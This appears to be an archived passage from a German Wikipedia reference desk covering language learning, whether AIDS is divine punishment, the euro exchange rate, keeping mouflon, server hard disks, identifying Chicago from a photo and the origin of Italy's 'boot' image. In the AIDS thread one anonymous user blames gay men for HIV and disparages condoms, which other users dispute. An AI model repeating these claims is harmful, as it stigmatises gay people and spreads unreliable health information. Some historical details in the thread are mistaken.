Aber die Laute muss man nur einmal gründlich lernen, die Anzahl ist überschaubar und es kommen nicht immer mehr hinzu. Beim Wortschatz kann man vor allem bei sprachlicher Verwandschaft profitieren. Allerdings finde ich die Unterschiede schon zum Englischen derart groß, dass man damit schnell an Grenzen kommt. Ich halte daher die Grammatik für den Punkt, der beim Sprachenlernen für den größten Unterschied sorgt. Gismatis 18:39, 26. Mär. 2010 (CET)

Es gibt auch eine Theorie, die besagt, dass alle Sprachen im Prinzip (also nicht für einen bestimmten Sprecher mit bestimmten Voraussetzungen) gleich schwer sind. Denn irgendwie muss sich die Anwendungsvielfalt von Sprache eine Bahn brechen. Da in etwa alle Sprachen das Gleiche ausdrücken können, brauchen sie auch eine bestimmte Komplexität, um die Information zu tragen (Informationsgehalt, Informationstheorie). Natürlich gibt es immer wieder so "Gemeinheiten", so Komplexitäten, die man als Schüler für total willkürlich und überflüssig hält (die Indogermanen haben z.B. diese hässlichen Suppletivformen). Aber es könnte auch sein, das sich das ausgleicht. Chinesisch hat vielleicht eine einfache Grammatik, aber dafür hat es die Phonetik mit den Tönen in sich (Mandarin hat nur vier, Kantonesisch aber acht, auweia!). Englisch hat eine stark zurückgefahrene Flexion, aber dafür müssen die Verhältnisse der Wörter untereinander irgendwie anders ausgedrückt werden. Das kapieren wir Deutsche aber nicht richtig, Englisch ist zu ähnlich, wir sehen die Komplexitäten nicht. Außerdem lässt sich die "Schwierigkeit" einer Sprache auch schwer messen, letztlich ist das auch individuell. Der eine kann schlecht Vokabeln lernen, der andere versteht Grammatik nicht, der dritte hat Probleme mit einer fremden Phonetik. Das kann man wohl nicht physikalisch messen.--Rabe! 15:12, 24. Mär. 2010 (CET)

Ist HIV / AIDS eine Strafe Gottes?

Hallo, ist Aids eigentlich eine Strafe Gottes? Die Ursachen dieser Krankheiten sind doch i.d.R. auf verderblich sündige Greueltaten zurückzuführen.--88.75.18.126 22:48, 25. Mär. 2010 (CET)

Ist hier eine Troll-IP unterwegs, die gezielt provokante Fragen stellt, um Diskussionen auszulösen, aber eigentlich keine Auskunft haben möchte? Wenn nicht: Frage einen Priester/Pfarrer/wasweißich deines Vertrauens! -- Don-kun Diskussion Bewertung 22:50, 25. Mär. 2010 (CET)
<quetsch> mit „wasweißich“ meintes du wahrscheinlich diese Leute ;-)----Zaphiro Ansprache? 23:09, 25. Mär. 2010 (CET)
Na vielleicht bevozugt die IP ja Rabbiner, Imame oder Wudu-Priester. -- Don-kun Diskussion Bewertung 23:13, 25. Mär. 2010 (CET)
tja manche sind da wohl aber noch etwas rigoroser ;-)----Zaphiro Ansprache? 23:17, 25. Mär. 2010 (CET)
Heute gab's schon extra viel davon. -jkb- 22:52, 25. Mär. 2010 (CET)
Gott straft auch Pharisäer, indem er ihnen den Verstand beschränkt, so dass sie seltsame Fragen stellen. --FK1954 22:55, 25. Mär. 2010 (CET)
Amen. Lukas 13,4+5. --Björn 23:09, 25. Mär. 2010 (CET)
AIDS ist eine Strafe eines Gottes, es ist nur umstritten, welcher Gott daran schuld ist. -- Martin Vogel 23:12, 25. Mär. 2010 (CET)
Gegenfrage: Sind Krebs, Karies, Hämorrhoiden, Aknepickel (und was den menschlichen Körper noch befallen kann) denn ein Geschenk Gottes? Holstenbär 23:13, 25. Mär. 2010 (CET)
Es ist was es ist, sagt die Liebe --188.23.186.0 23:40, 25. Mär. 2010 (CET)
i.d.R. ... verderblich sündige Greueltaten: Unvorsichtigkeit, mangelnde Hygiene, Unwissenheit, Pech usw. sind Ursachen der Verbreitung dieser Immunschwäche. Dafür dann Gott verantwortlich zu machen ist ein typischer Fall von Schuldverschiebung - vor allem wenn man einfach nur unvorsichtig war... tsts... Wenn ich ein Gott wäre, würde ich mir sowas verbieten. --91.32.154.220 01:02, 26. Mär. 2010 (CET)
Verbieten oder verbitten oder verbeten haben wollen? :) --84.191.60.120 03:01, 26. Mär. 2010 (CET)
Der Fachbegriff von Schuldverschiebung nennt sich wohl Projektion (Psychoanalyse)----Zaphiro Ansprache? 01:06, 26. Mär. 2010 (CET)
Da gibt es doch noch so einen Gegenspieler, Teufel heisst der, vielleicht hat der seine Finger im Spiel. Von dem hört man eigentlich in letzter Zeit wenig, nachdem man ihm seine Vorhölle abgeschafft hat. Dabei könnte man dem doch auch noch was anderes aktuelles zuschieben.--91.56.213.32 07:48, 26. Mär. 2010 (CET)
Nachdem der katholische Ritus mit Sündenbekenntnis nicht wirklich zu funktionieren scheint, obwohl Gott ein Arzt sein soll (vgl 2. Mose 15,26) dürfte es da ein anderes Problem geben, denn die Wunderheilungen sind in dem Bereich eher dürftig --188.23.183.74 08:28, 26. Mär. 2010 (CET)
Aber, wenn man der Sache auf den Grund gehen will -> in welchen Ländern sind die wenigsten Aids-Kranken -> welchen Gott haben die, und wie leben die Ihre "wasweißich"? --188.23.183.74 08:30, 26. Mär. 2010 (CET)
Clever! Wollte ich gestern schon schreiben. Man sehe sich das Vorkommen von AIDS in Afrika in Abhängigkeit des vorherrschenden Glaubens in den verschiedenen Ländern an. Allah scheint da erheblich netter mit seinen Anhängern umzugehen. <ironie> Oder China! Haben die überhaupt AIDS??</ironie> G! GG nil nisi bene 09:20, 26. Mär. 2010 (CET)
Es ist allerdings nicht von der Hand zu weisen, dass eine ungenügende Allgemeinbildung, die zu Aberglaube führt (in Afrika weit verbreitet), den Umgang mit Infektionskrankheiten nicht einfacher macht. Ähnliches gilt übrigens auch für Landbewohner in China. --Ayacop 10:34, 26. Mär. 2010 (CET)
Umgekehrt ist aber auch nicht von der Hand zu weisen, dass zu Zeiten eines institutionellen Glaubens-TÜV wie der Inquisition AIDS nicht vorkam. --Zinnmann d 10:41, 26. Mär. 2010 (CET)
Und was ist dann mit der Pest? Die wurde auch als Strafe Gottes angesehen, bevor man den Zusammenhang erkannte. Und wer nicht davon überzeugt war, der sah es als Komplott der Juden oder Hexen an. Ich hätte gedacht, die Zeiten seien vorbei, aber offensichtlich nicht. --Sr. F 11:26, 26. Mär. 2010 (CET)
Hier wurde aber nur nach AIDS gefragt - und das gab es damals nicht. Aber es gab die Inquisition. Also hat die Inquisition AIDS verhindert. OK, die Pest hat sie nicht verhindert. Gesicherte Belege für die Pest gibt es erst nach der Nutzung des Feuers durch den Menschen. Das ist dieses Prometheus-Zeus-Pandora-Ding. Um auch die Pest zuverlässig zu vermeiden, benötigen wir also nicht nur eine Inquisition, sondern sollten auch kein Feuer mehr verwenden. Eigentlich logisch, oder? --Zinnmann d 11:40, 26. Mär. 2010 (CET)

Diese Frage würde sicher von den Religionen verschieden beantwortet werden können. Da unterschiedliche Gottesbilder vertreten sind. Schon konkret zwischen Judentum und Christentum oder Innerchristlich würden Theologen und Gläubige anders antworten. Im modernen Christentum würde man sicher von einem guten und gütigen ausgehen. -- PogoEngel 09:41, 26. Mär. 2010 (CET)

Ich halte mich an Gautama Siddhartas Erkenntnis; wenn man weiß was das Leiden auslöst, so verschwindet das Leiden --188.23.179.240 11:17, 26. Mär. 2010 (CET) Guckst du Hier OO und auch HIER 00/==/oo
An Benutzer: "Ixitixel", unabhängig, wie du diese Sache hier interpretieren mögest, ist es kein Grund einfach die komplette Diskussion zu entfernen. Kommentiere doch bitte deinen Standpunkt.--88.72.138.194 11:28, 26. Mär. 2010 (CET)
Im Neuen Testament leugnet Jesus einen solchen unmittelbaren Zusammenhang zwischen angeblich sündigem Leben und einem schweren Schicksal. Insofern ist die Eingangsfrage aus christlicher Sicht klar mit nein zu beantworten. --Φ 15:27, 26. Mär. 2010 (CET)
@Φ, Christus leugnet nicht einen Zusammenhang sondern er sagt das alle sündig sind, das bedeutet im Umkehrschluss das einer der frei von Sünden ist, sehr wohl das Glück haben kann gesund zu sein, oder aber Krankheiten zu überstehen oder zu überleben (vgl Markus 16/16)--188.23.67.185 19:27, 26. Mär. 2010 (CET)
Falsch: Christus leugnet, dass die, die beim Einsturz des Turmes von Siloah umkamen, sündiger waren als alle anderen, also sind alle gleich sündig. Und er sagt auch, dass es keinen gibt, der frei von Sünde ist - dass ist einzig Christus. es gibt keinen tun-Ergehen-Zusammenhang. --Φ 20:41, 26. Mär. 2010 (CET)
Jesus sprach "Wer von Euch ist ohne Sünde, der werfe den ersten Stein". Kommt ein Stein geflogen und trifft die Sünderin am Kopf. Jesus: "Mama, du nervst!". Gruss, --Cú Faoil RM-RH 22:03, 26. Mär. 2010 (CET)

Nein, AIDS ist keine Strafe Gottes, da es gar keinen Gott gibt. Ja, ich bin ja schon still... -- Chaddy · D·B - DÜP 19:32, 26. Mär. 2010 (CET)

Benutzer Chaddy, wusstest Du schon, Jesus liebt auch dich. Aber, es wäre sehr schade für Dich, wenn Du dies nicht mitbekommst. Der Tag wird kommen und Du wirst Dich rechtfertigen müssen. Bedenke wohl!--88.72.138.194 20:10, 26. Mär. 2010 (CET)
Jawohl! All die AIDS-kranken Kinder werden für ihr sündiges Leben bestraft. Das haben sie nun davon. --FK1954 20:31, 26. Mär. 2010 (CET)
Niemand wird mit Schuld geboren! Aber da gibt es andere, die für solche "Belastungen" verantwortbar sind. In Röm 1,27 heißt es, desgleichen haben auch die Männer den natürlichen Verkehr mit der Frau verlassen und sind in Begierde zueinander entbrannt und haben Mann mit Mann Schande getrieben und den Lohn ihrer Verwirrung, wie es ja sein mußte, an sich selbst empfangen.--88.72.138.194 20:46, 26. Mär. 2010 (CET)
Die IP glaubt offenbar nicht an Erbsünde. Darf ich fragen, welche interessante christliche Konfession das sein soll? Gruss, --Cú Faoil RM-RH 21:28, 26. Mär. 2010 (CET) PS: Von Gott gesandt ist bekanntlich nur die Epilepsie, lass die Aidskranken da mal hübsch draussen.
zum beispiel Freikirchen (das ist aber keine "konfession", sondern viele kleine einzelsekten, eher evangelisch orientiert). grüße, --itsnotuitsme d | b 21:30, 26. Mär. 2010 (CET)
Ja du hast recht, eine unüberlegte Wortwahl meinerseits. Natürlich gibt es die Erbsünde, welche erst mit dem Taufbekenntnis abgelegt werden kann.--88.72.138.194 21:50, 26. Mär. 2010 (CET)
Ich bin zwar nicht religiös, aber hier muss ich Jesus, Mohammed, Buddha etc. in Schutz nehmen, die sind nicht daran schuld. Zu deren Zeit gab es AIDS noch nicht. -- Martin Vogel 22:08, 26. Mär. 2010 (CET)

wenn es eine strafe gottes ist, warum können dann auch unschuldige leute angesteckt werden? (z.B. bluttransfusion nach einem unfall)? 217.227.103.33 22:34, 26. Mär. 2010 (CET)

Weil die Prädestinationslehre Recht hatte. Oder so. Gruss, --Cú Faoil RM-RH 22:46, 26. Mär. 2010 (CET)
Den Willen des HERRN können wir nicht nachvollziehen.--88.72.138.194 22:48, 26. Mär. 2010 (CET)
Passt immer. --FK1954 22:51, 26. Mär. 2010 (CET)
Wenn AIDS eine Strafe Gottes wäre, warum sollten dann Kondome schützen? --MannMaus 22:57, 26. Mär. 2010 (CET)
Kondome sind ein Werkzeug des Teufels, die können sowas. Deswegen mag sie der Papst auch nicht besonders... -- Chaddy · D·B - DÜP 23:11, 26. Mär. 2010 (CET)
LOL! Langsam wird's lächerlich. Wer behaupet das, die katholische Kirch, wirklich? Die Frage ist, für was benötigt einer dieses Zeugs. Wenn alles schön im Rahmen bleibt benötigt man diese Liebestöter nicht. Bei der Masse der Infizierten, höchstwahrscheinlich keine "Gummifreunde" scheint aber wohl nicht alles im Rahmen verlaufen zu sein --88.72.138.194 23:36, 26. Mär. 2010 (CET)
Anonyme IP 88.66.195.109 versucht die ganze DISK zu löschen. Dass ist nicht in Ordnung. Auch der einfache flapsig formulierte HW ist ungenügend für eine derart intensiv anhaltende DISK. Stelle dich doch lieber der Diskussion. Ansonsten, vergelt's Gott!--88.72.138.194 23:53, 26. Mär. 2010 (CET)
Wikipedia:DISK. --88.66.195.109 00:18, 27. Mär. 2010 (CET)
Ob Aids jetzt eine Strafe Gottes ist? die einen meinen es könnte sein, die anderen sagen es ist Unfug; in der Bibel steht etwas über Plagen/Offenbarung - Zornesschalen eines Engels der aus dem Tempel kommt, also die Bibel sagt nicht dezitiert NEIN, und mein Lieblingspsalm sagt mir folgendes -> Psalm 91 3 + 6 --93.82.11.236 06:12, 27. Mär. 2010 (CET) Ich sage einmal das der Gute Gott keine Strafen austeilt, aber retten kann, wenn der Gute Gott dann aber auch noch Gerecht ist, dann könnte es durchaus sein das er in seiner Güte und Gerechtigkeit die Bösen straft, und angeblich ist er beim strafen sehr sehr langsam, man durchsuche die Bibel nach dem Wort "Strafe"

Und das Buch Hiob - speziell die Streitgespräche zwischen Hiob und seinen Freunden sind sehr aufschlussreich - wann denn nun dieser Gott straft und wem er in Ruhe lässt/segnet - so ferne man daran glauben kann --93.82.11.236 06:41, 27. Mär. 2010 (CET) UND wenn wir das ganze jetzt auch noch biblisch abschließen wollen; Wenn es einen Gott gibt der straft/strafen kann, so muss er zuerst einen Zorn verspüren, und da wird man in der Bibel schon fündig - man suche nach Zorn--93.82.11.236 06:49, 27. Mär. 2010 (CET) wie zB Offenbarung 6/16 - da wird sogar von einem Zorn des Lammes berichtet (uiuiui)

Aids ist keine Strafe Gottes sondern der Beweis, dass es ihn nicht gibt, denn wenn es Gott gäbe, wurde er die Kranken retten.--109.90.201.248 10:14, 27. Mär. 2010 (CET)
warum sollte er? wer ein "anständiges" leben führt ist in der regel davon verschont. wenn er doch unschuldig erkrankte und starb; na dann wartet das paradies, also eine verbesserung ...Sicherlich Post 10:24, 27. Mär. 2010 (CET)
Um das ganze jetzt etwas auszuweiten - um Aids mit der Pest in das selbe Licht zu stellen, um als quasi "Strafe Gottes" ich meine dies nur ganz entfernt durchzugehen -> ; in Wien gibt es eine Karlskirche - eine sogenannte Gelübdekirche, die wurde von einem Kaiser erbaut um die Pest abzuwehren, und er schwor *irgend-etwas*, ich glaub` annähernd so ähnlich wie die Geschichte vom Goldenen Vlies, und er konnte die Kirche auch erbauen - Im Artikel zur Karlskirche steht gar nichts von einem Gelübde - seltsam - Jedenfalls gibt es ja auch diese Pestsäulen, und die Geschichten hierzu sind vielleicht auch aufschlussreich, aber ich weiß eben nur, das die Karlskirche eine Gelübdekirche war - weiterführendes konnte ich im Netz nicht finden *sorry* --93.82.8.97 16:25, 27. Mär. 2010 (CET)
hüstel; Aber wenn ich mir den Artikel der Pestsäule ansehe werde ich doch ad-hoc an die indische Göttin Kali erinnert --93.82.8.97 16:48, 27. Mär. 2010 (CET)

Sinkender Eurokurs - positive und negative Auswirkungen im Kontext zur "Krise" ?

Ich bin ja ein Wirtschaftslaie, aber verfolge natürlich auch Medienberichte zum Euro, wie etwa hier. Meine Frage wäre, nachdem ich den Artikel Abwertung gelesen habe, ob dies gerade in Krisenzeiten nicht auch auch positive Auswirkungen hat, bzw wie das Verhältnis zu negativen/positiven Wirkungen ist. Man denke etwa auch an die künstlich niedrig gehaltene Währung Chinas, die den Staat ja den Exportweltmeister eingebracht hat. Bin ich da etwas zuu blauäugig?! ;-) Ein Einwand, der mir gerade einfällt, wäre ja, das Deutschland kein Rohstoffland ist und daher teuer importieren müsste. Gruß----Zaphiro Ansprache? 16:12, 26. Mär. 2010 (CET)

Du fragst also, ob die Vor- und Nachteile unterschiedlich bewertet werden müssen, je nachdem wie die geografische oder politische Lage des Landes ist. Antwort: ja. Sicherlich wirst du dazu etwas in Abwertung#Literatur finden. --Ayacop 16:37, 26. Mär. 2010 (CET)
...Sicherlich Post 17:52, 26. Mär. 2010 (CET) ;o)
Ja der niedrige Eurokurs hat positive Effekte. Die Exporte steigen. Für Deutschland als Hochtechnologieexportland dürfte das vorteilhaft sein für die Wirtschaft und negativ für den Bürger. Seine Kaufkraft sinkt für importierte Waren. Ein niedriger Eurokurs sollte allerdings im Gegenzug durch die höheren Exporte auch zusätzliche Arbeitsplätze schaffen. Wie schon erwähnt macht das China sehr erfolgreich vor. Die Exportpreise für die Waren werden durch die Kopplung an den Dollar künstlich niedrig gehalten. --FNORD 17:56, 26. Mär. 2010 (CET)
(BK) ich frage, was letztendlich überwiegen würde, wie sah das etwa in der Geschichte der DM oder anderer Währungen vergleichbarer Staaten aus, nicht zu vergessen habe ich ja auch noch das Gejammere über den hohen Euro in den Ohren (Exportbremse etc pp)----Zaphiro Ansprache? 17:57, 26. Mär. 2010 (CET)
@FNORD: wobei aber längerfristig eine Verlagerung von Arbeitsplätzen ins Ausland gerade wegen der höheren Importpreise möglich wäre, oder liege ich da falsch ?!----Zaphiro Ansprache? 18:00, 26. Mär. 2010 (CET)
Ja. :) Es sei denn man gleicht es durch Subventionen aus. Was wir bei Lebensmitteln und Rohstoffen ja auch ausgiebig machen. Das ist aber denke ich nicht so sehr der EURO. Wir sparen uns einfach gerade selbst arm. Mit jedem Kauf eines aussereuropäischen Billigproduktes vernichtet man langfristig gesehen den eigenen Arbeitsplatz. Und die Geiz ist Geil Mentalität herrscht schon seit Jahren vor. Das bisschen Währungsgeflacker macht da das Kraut nicht fett. Währungen steigen und sinken dauernd. Das gehört zur Wirtschaft wie gutes und schlechtes Wetter zum Leben. Einfach mal Eurokurs der letzten 10 Jahre ansehen [25]--FNORD 18:12, 26. Mär. 2010 (CET)
da hast Du recht, bin ja von einer hypothetischen Annahme ausgegangen, aber danke für den Link, es war schon wesentlich schlimmer;-) wobei imho die spätere Stärke des Euros eher die Schwäche des Dollars war... ----Zaphiro Ansprache? 18:34, 26. Mär. 2010 (CET)
Zu Anfangszeiten der DM, also etwa die erste Hälfte ihres Lebens, gab es folgendes Phänomen: die Produktivität der deutschen Arbeiter stieg fast immer schneller, als im umliegenden Ausland (Globalisierung spielte damals noch nicht wirklich eine Rolle). Das hatte zur Folge, dass der innere Wert der deutschen Währung stärker war als in Frankreich, GB oder Italien. Die Wechselkurse aber waren damals festgeschrieben, wodurch die deutsche Industrie im Export solange Vorteile hatte bis die Wechselkurse angepasst wurden. Das hinkte aber der Realität immer hinterher, weil das politische Establishment in Frankreich, GB, Spanien usw. eine Abwertung der eigenen Währung als "Erniedrigung" empfand. In den 70ern funktionierte das dann so schlecht, dass die Kurse mehr oder weniger freigegeben wurden (Bretton-Woods-System). Vorteil: der Markt gleicht schneller die unterschiedlich starken Wirtschaften in den Ländern aus. Nachteil: Devisenspekulanten können gegen die Realität handeln und Staaten schaden. Sowohl in der Biographie von Otmar Emminger als auch in einigen Büchern von Helmut Schmidt ist das ganz gut dargestellt. --84.172.15.64 19:59, 26. Mär. 2010 (CET)
Mal ein Wort zur "Globalisierung". Das ist nur ein albernes Schreckgespenst auf das man alles schieben kann was man als böse an der Wirtschaft erachtet. Es ist ja nicht so als hätte jemand vor 15 Jahren den globalisierungs Schalter umgelegt und seitdem gibt es den weltweiten Handel und Outsourcing. Handel mit fremden Ländern oder auch Interkontinentalen Handel gibt es schon seit vielen Jahrhunderten. Und wer davon profitiert hat und reich ist oder geknechtet wurde ändert sich ebenfalls im Laufe der Zeit ständig. (Frag mal die Griechen und Italiener) Wart noch 40 Jahre dann knechtet China finanziell die Welt, wir sind ein kleines Licht und sonnen uns im Ruhm vergangener Zeiten und chinesische Gutmenschen Jammern Ihre Wirtschaftsbosse wegen der Ausbeutung der Europäer voll. --FNORD 18:35, 27. Mär. 2010 (CET)

Muffel - Privathaltung

Hallo, gibt es Besonderheiten zu beachten, wenn ich ein Mufflon, analog zu einem Hausschaf als Nutzvieh halten möchte? Darf ich das so ohne weiteres? Geht darum, weil es dem Jagdrecht unterliegt. Jagdhunde dürfen ja auch nicht von jedermann geführt werden.--KunzSN 23:23, 26. Mär. 2010 (CET)

Das wird von Deinem Wohnort abhängen. In der Schweiz brauchst Du dazu eine Bewilligung zum Halten von Wildtieren, welche durch das Bundesamt für Veterinärwesen ausgestellt wird. Gruss, --Cú Faoil RM-RH 23:43, 26. Mär. 2010 (CET)
Nun, ich komme aus Sachsen, wird wohl so ähnlich sein. Falls jemand genaueres weiß, wäre ich sehr dankbar. Gruß!--KunzSN 00:01, 27. Mär. 2010 (CET)
Du willst ein ausgesprochenes Herdentier allein halten? Was sagt denn der Mufflon dazu? BerlinerSchule 00:21, 27. Mär. 2010 (CET)
Allein soll's nicht bleiben, es werden sich mindestens noch 2 Hausschafe dazugesellen. Die Frage ist nur, wenn denn möglich, tue ich mir Widder oder Schaf ein. Letzteres ist wahrscheinlich verträglicher.--KunzSN 00:35, 27. Mär. 2010 (CET)
PS -Im Grunde geht's mir auch um die Trophäe, dafür bräuchte ich dann schon 'nen Widder.--KunzSN 00:47, 27. Mär. 2010 (CET)
Eine Trophäe sind nach verbreiteter Anschauung selbstgejagte Hörnchen; warten, bis das Tier 2028 an Altersschwäche verstirbt und dann die Hörnchen an die Wand hängen, ist ungefähr so geil, wie einmal "Hörnchen mit zwei Kugeln, Erdbeer-Vanille" zu nehmen und nach dem Verspeisen des Speiseeises jenes Hörnchen an die Wand zu hängen... BerlinerSchule 00:58, 27. Mär. 2010 (CET)
Zur Beruhigung, habe Jagdschein. Maximal zu erwartendes Lebensalter: 5 Jahre. Möchte das Wildbret auch noch verwerten können. Obwohl, aus eigener Erfahrung, ein noch so alter Hammel, wird zart, wie ein Lamm, wenn er nur 3 Tage lang in Buttermilch eingelegt wird. - Trotzdem zum Kern zurück: Gibt es jemand, der genaueres zu obiger Ausgangsfrage weiß?--KunzSN 01:13, 27. Mär. 2010 (CET)

Hm, die Frage ist durchaus knifflig... Unser Artikel Wild behauptet: Rotwild (Hirsche), Rehwild, Sikawild, Damwild und Schwarzwild (Wildschweine) werden auch als Landwirtschaftliche Nutztiere gehalten. Ich interpretiere das mal so, dass ausschlielich diese Wildarten als Haustiere gehalten werden dürfen, Muffelwild also nicht. Selbst wenn Du also ein handzahmes Mufflon in deinem Garten herumlaufen hättest, bliebe es immer noch ein "Wildtier", und Du dürftest es nur schießen (schlachten ist sowieso verboten!), wenn im Abschussplan deines zuständigen Jagdreviers eins freigegeben wäre... Ugha-ugha 05:51, 27. Mär. 2010 (CET)

Welchen Jagdschein hast Du, Forstamt oder Gesundheitsamt. Wenn Du den vom Forstamt hast, müsstest Du das eigentlich wissen, wo Du fragen musst.--91.56.205.52 08:56, 27. Mär. 2010 (CET)

Hier steht vermutlich alles, was Du wissen willst. --83.76.104.84 09:15, 27. Mär. 2010 (CET)

Vielen Dank der Info. Möchte aber keine gewerbliche Nutzung betreiben, weswegen ein Großteil für mich nicht zutreffen wird.--KunzSN 22:44, 27. Mär. 2010 (CET)

Harddisk für Desktop Systeme nicht empfohlen, weshalb?

Sogenannte 24/7 Harddisks für Server/Raid Betrieb mit 1.0 Mio. MTBF und 5 Jahren Garantie, werden schon mal als Für Desktop Systeme nicht empfohlen angeboten. Weshalb ist das so? Der Hardisk täglich nach getaner Arbeit etwas Ruhe gönnen kann doch nicht so schlimm sein. --Gustav Broennimann 02:06, 27. Mär. 2010 (CET)

Einige dieser Platten waren zumindest recht laut. Dies war zumindest ein Grund, dass man sie lieber nicht im Desktop vor sich haben wollte. Andere Gründe? --Firefly's luciferase 03:22, 27. Mär. 2010 (CET)
Probleme mit der Kühlung? --Gwexter 07:47, 27. Mär. 2010 (CET)
Ist möglich, allerdings gibt es ja auch Festplattenkühler. Daher wenn das der Grund wäre, würde ein Hinweis reichen, dass das Laufwerk ausreichend gekühlt werden muß. --MrBurns 18:48, 27. Mär. 2010 (CET)

Stadt identifizieren

Hab hier ein nettes Hintergrundbild gefunden. Aus reinem Interesse: Weiss jemand welche Stadt das ist? Danke euch. --91.64.64.166 10:45, 27. Mär. 2010 (CET)

Ich könnte Dir sagen, welche Städte das alles nicht sein können... ;-) -- Wwwurm Mien Klönschnack 11:00, 27. Mär. 2010 (CET)
Von der Anlage der Straßen vermute ich USA oder Kanada. Scheint von einem Hochhaus aus geschossen zu sein, leider ist es sehr dunstig und die City liegt wohl auf der anderen Seite. Vielleicht erkennt ja jemand die sehr spezifische Autobahnabfahrt oder diese Gruppe von dunklen schmalen Hochhäusern. Leider nicht mal ein Fluss zu sehen, an den man sich halten könnte. --Sr. F 11:04, 27. Mär. 2010 (CET)
Wenn du die Frage im entsprechenden Fporum der en Wikipedia stellst steigt die Wahrscheinlichkeit einen Einwohner dieser Stadt zu erwischen.--84.160.188.248 11:08, 27. Mär. 2010 (CET)
Dürfte Chicago sein, die Kreuzung im Vordergrund die zwischen I-290 und I-94/I-90, nach Westen schauend fotografiert, weiter hinten in der Bildmitte (in weiß) dürfte das United Center sein. --Matt314 12:07, 27. Mär. 2010 (CET)
Jepp, fotografiert vom Willis Tower gen Westen. Bei Gugl-Maps sieht man die charakteristische Straßenkreuzung an der erwartbaren Stelle: [26] -- Gnu1742 12:16, 27. Mär. 2010 (CET)
Danke euch. Gute Arbeit. ;-) --91.64.64.166 17:40, 27. Mär. 2010 (CET)

Der italienische Stiefel

Hallo liebe Wikipedianer, seit wann spricht man eigentlich davon, dass Italien einem Stiefel gleicht? Ich denke um der Antwort nahe zu kommen, müssten zwei Fragen geklärt werden: 1. Seit wann zeichnen Kartografen so genau, dass man die wirkliche Form wahrnehmen konnte, und 2. Seit wann kennt man Stiefel in dieser Form? Sicherlich hatten die Musketiere hohe Stulpenstiefel, aber Italien hat ja einen unglaublich hohen, sehr erotisch wirkenden Absatz. Rolz-reus 11:41, 27. Mär. 2010 (CET)

Landkartenfetischismus? --Wrongfilter ... 14:36, 27. Mär. 2010 (CET)
Schon zu Hoch-Zeiten der römischen Republik (ich meine zu erinnern, bspw. von Cicero) wurde dieser Begriff verwendet. -- Wwwurm Mien Klönschnack 12:22, 27. Mär. 2010 (CET)
...und dass es zu dieser Zeit schon Stiefel (die freilich Deinen Fetischbildern noch nicht 1:1 entsprochen haben, sondern eher an Gesundheits-/Trekkingsandalen erinnern ;-) ) gegeben hat, dürfte Dir alleine der Name von Ciceros Gegenspieler Caligula („Stiefelchen“) verdeutlichen. -- Wwwurm Mien Klönschnack 15:42, 27. Mär. 2010 (CET)
Das Diskussionsniveau ist mal wieder ... wikipediatypisch. Als Caligula geboren wurde, war sein angeblicher Gegenspieler Cicero schon fast 60 Jahre tot. Caligula und Catilina auseinanderzuhalten, ist ja auch furchtbar schwer. Leicht ist es hingegen, ins Blaue hinein zu behaupten, schon Cicero habe nicht nur um die Stiefelform der italienischen Halbinsel gewusst, sondern sogar davon geredet/geschrieben. Was sich mir bei Betrachtung alter Karten allerdings nicht erschließen will. --Vsop 16:46, 27. Mär. 2010 (CET)
Stimmt - das war Catilina, und das ist mein Verwechsler; das ändert aber nichts an der sonstigen Richtigkeit meiner Antworten (siehe auch Caliga). Du hingegen nutzt hier lediglich einen offenbar willkommenen Anlass, nicht dem Fragesteller zu helfen (dafür ist diese Seite eigentlich gedacht), sondern mit Unterstellungen ad personam zu operieren. Immerhin: Deine Aussage, Dir erschließe sich etwas nicht, kann ich – auch hier – bestätigen. -- Wwwurm Mien Klönschnack 17:50, 27. Mär. 2010 (CET)

Die Frage, seit wann die italienische Halbinsel als Stiefel angesehen und beschrieben wird, wurde im April 2009 in der englischsprachigen Wikipedia – wesentlich stilvoller als hier - diskutiert http://en.wikipedia.org/wiki/Wikipedia:Reference_desk/Archives/Humanities/2009_April_22#when_did_people_realize_Italy_was_shaped_like_a_boot.3F Es wurde auf Plinius verwiesen, der Italien mit einem langgezogenen Eichenblatt, und auf http://cronologia.leonardo.it/storia/aa800.htm , wonach Polybios (2. Jh AD) mit einem Dreieck und Strabon mit einem Viereck verglichen habe. Im 13. Jh., als die Seekarten genauer geworden seien, habe man Italien mit einem menschlichen Bein und erst seit dem 16. Jahrhundert dann mit einem Stiefel verglichen.

Gibt man bei Google Plinius Eichenblatt ein, erzielt man folgende Ergebnisse:

Die Geographie des älteren Plinius in ihrem Verhältnis zu Varro: - Klaus Günther Sallmann - 1971 - 296 Seiten S. 34: Am besten faßbar sind die sogenannten geographischen Bilder (Eichenblatt Italien, Platanenblatt Peloponnes, Rindshaut Spanien, sicilis des Kaspischen Meeres usw.)

Die Welt im Kopf: Christian Hänger - 2001 - 303 Seiten Nach Plinius gleicht der Umriß Italiens einem Eichenblatt, ... books.google.de/books?isbn=352525234X...

Althistorisches Kolloquium aus Anlass des 70. Geburtstags von ... Jochen Bleicken, Theodora Hantos, Gustav Adolf ... - 1998 - 252 Seiten Theodora Hantos: Rom und Italien, S. 103 f.: wie Polybios, Plinius oder Strabo sich die Halbinsel dachten: Sie erscheint als Dreieck bei Polybios, als ein in die Länge gestrecktes Eichenblatt bei Plinius, und Strabo überlegt sich, ob er sich der Polybianischen Auffassung vom Dreieck anschließen oder sich vielleicht doch eher für ein Viereck entscheiden soll (Pol. 2,14,4; Plin. 3,43; Strab. 5,96 f.) books.google.de/books?isbn=3515071768..

"Die Naturgeschichte des Cajus Plinius Secundus": Italiens Gestalt hat grosse Aehnlichkeit mit einem Eichenblatt, denn es ist viel länger als breit; auf der linken Seite macht es eine hervorspringende Biegung x ), und endigt dann in der Form eines Amazonenschildes 2 ), indem es von dem mittlem Vorsprunge aus, welcher Cocinthus 3 ) heisst, zwei mondförmige Busen bildet und zwei Spitzen, deren rechte Leucopetra 4 ), deren linke aber Lacinium 5 ) heisst, hervorstreckt.www.archive.org/stream/.../dienatugeschicht03plin_djvu.txt

Allerdings liest man bei Johannes Engels, Augusteische Oikumenegeographie und Universalhistorie im Werk Strabons von Amaseia, S. 162, Polybios habe Italien mit einem Stiefel verglichen. Das ist angesichts des Vorstehenden indes kaum überzeugend, zumal eine Quelle nicht mitgeteilt wird.

